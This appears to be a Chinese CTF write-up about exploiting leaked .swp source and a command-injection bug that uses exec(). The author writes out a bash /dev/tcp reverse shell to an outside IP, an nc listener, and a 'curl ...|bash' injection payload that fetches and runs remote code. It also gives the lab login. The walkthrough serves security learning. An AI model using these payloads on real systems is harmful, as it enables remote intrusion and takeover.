做这道题之前还一直不知道反弹shell是怎么操作的,做完之后恍然大悟,刷题真香
首先题目中提示了.swp
,应该是.swp源码泄露,然后试了试/index.php.swp
毫无反应,看了wp之后才知道是/.index.php.swp
。。。幸好不是比赛,不然简直被自己蠢死
然后下载下来,拖到kali里用命令vim -r index.php.swp
恢复文件,源码:
看了看过滤,只过滤了cat
,天真的我以为用tac
就行了。。。结果事情远远没有这么简单,exec()函数是没有回显的,我还一直以为exec()
和system()
是一样的。
然后看其他师傅说要用反弹shell,这里我用的是MobaXterm,找同学接了个号开个靶机链接到内网。也可以用xshell,连接流程差不多。
回车创建连接,使用账号root
密码123456
登录
连接好之后先使用命令ifconfig
看下靶机的ip
然后在靶机的/var/www/html目录新建一个能反弹shell的命令文件1.txt,
cd /var/www/html
echo "bash -i >& /dev/tcp/174.1.90.119/2333 0>&1" > 1.txt
用nc命令监听我们设置的2333端口
nc -lvp 2333
最后让题目机执行靶机里1.txt的命令,我们传payload:
girl_friend=curl 174.1.90.119/1.txt|bash
可以看到连接上了,并且可以执行命令:
然后拿flag就行了
find / -name "*flag"
cat /etc/demo/P3rh4ps/love/you/flag